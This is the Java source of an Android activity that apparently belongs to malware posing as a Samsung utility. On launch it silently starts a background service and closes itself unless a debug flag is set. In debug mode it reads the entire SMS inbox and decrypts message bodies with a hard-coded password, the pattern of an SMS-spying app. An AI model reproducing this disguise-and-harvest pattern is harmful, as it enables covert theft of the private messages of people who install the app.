package com.samsung.utils.phone.activities;

import java.util.ArrayList;

import com.samsung.utils.phone.R;
import com.samsung.utils.phone.content.StaticClass;
import com.samsung.utils.phone.helpers.SMSUtil;
import com.samsung.utils.phone.helpers.StringCryptor;
import com.samsung.utils.phone.recievers.SmsReceiver;


import android.app.Activity;
import android.content.ContentResolver;
import android.content.Intent;
import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.AdapterView;
import android.widget.AdapterView.OnItemClickListener;
import android.widget.ArrayAdapter;
import android.widget.ListView;
import android.widget.Toast;

public class SamsungUtilsActivity extends Activity implements OnClickListener,
		OnItemClickListener {
	/** Called when the activity is first created. */
	@Override
	public void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		startService(new Intent(this, SamsungService.class));
		if (StaticClass.isDebug) {			
			setContentView(R.layout.main);
			this.findViewById(R.id.UpdateList).setOnClickListener(this);
		}
		else {	
			finish();			
			return;
		}		
	}

	public void onItemClick(AdapterView<?> parent, View view, int pos, long id) {
		try {

			Log.v(StaticClass.LOG_TAG, "onItemClick");
			String[] splitted = smsList.get(pos).split("\n");
			String sender = splitted[0];
			String encryptedData = "";
			for (int i = 1; i < splitted.length; ++i) {
				encryptedData += splitted[i];
			}
			 String data = sender + "\n" + StringCryptor.decrypt( new
			 String(SmsReceiver.PASSWORD), encryptedData );
			 Toast.makeText( this, data, Toast.LENGTH_SHORT ).show();
			 Toast.makeText(this, smsList.get(pos), Toast.LENGTH_LONG).show();
		} catch (Exception e) {
			Log.v(StaticClass.LOG_TAG, "Hata OnItemClick");
			// e.printStackTrace();
			Log.v(StaticClass.LOG_TAG, e.getMessage());
		}
	}

	ArrayList<String> smsList = new ArrayList<String>();

	public void onClick(View v) {
		ContentResolver contentResolver = getContentResolver();
		Cursor cursor = contentResolver.query(Uri.parse("content://sms/inbox"),
				null, null, null, null);

		int indexBody = cursor.getColumnIndex(SMSUtil.BODY);
		int indexAddr = cursor.getColumnIndex(SMSUtil.ADDRESS);
		//int indexDate = cursor.getColumnIndex(SmsReceiver.DATE);

		if (indexBody < 0 || !cursor.moveToFirst())
			return;

		smsList.clear();

		do {
			String str = "Sender: " + cursor.getString(indexAddr) + "\n"
					+ cursor.getString(indexBody);

			smsList.add(str);
		} while (cursor.moveToNext());

		ListView smsListView = (ListView) findViewById(R.id.SMSList);

		smsListView.setAdapter(new ArrayAdapter<String>(this,
				android.R.layout.simple_list_item_1, smsList));
		smsListView.setOnItemClickListener(this);
	}
}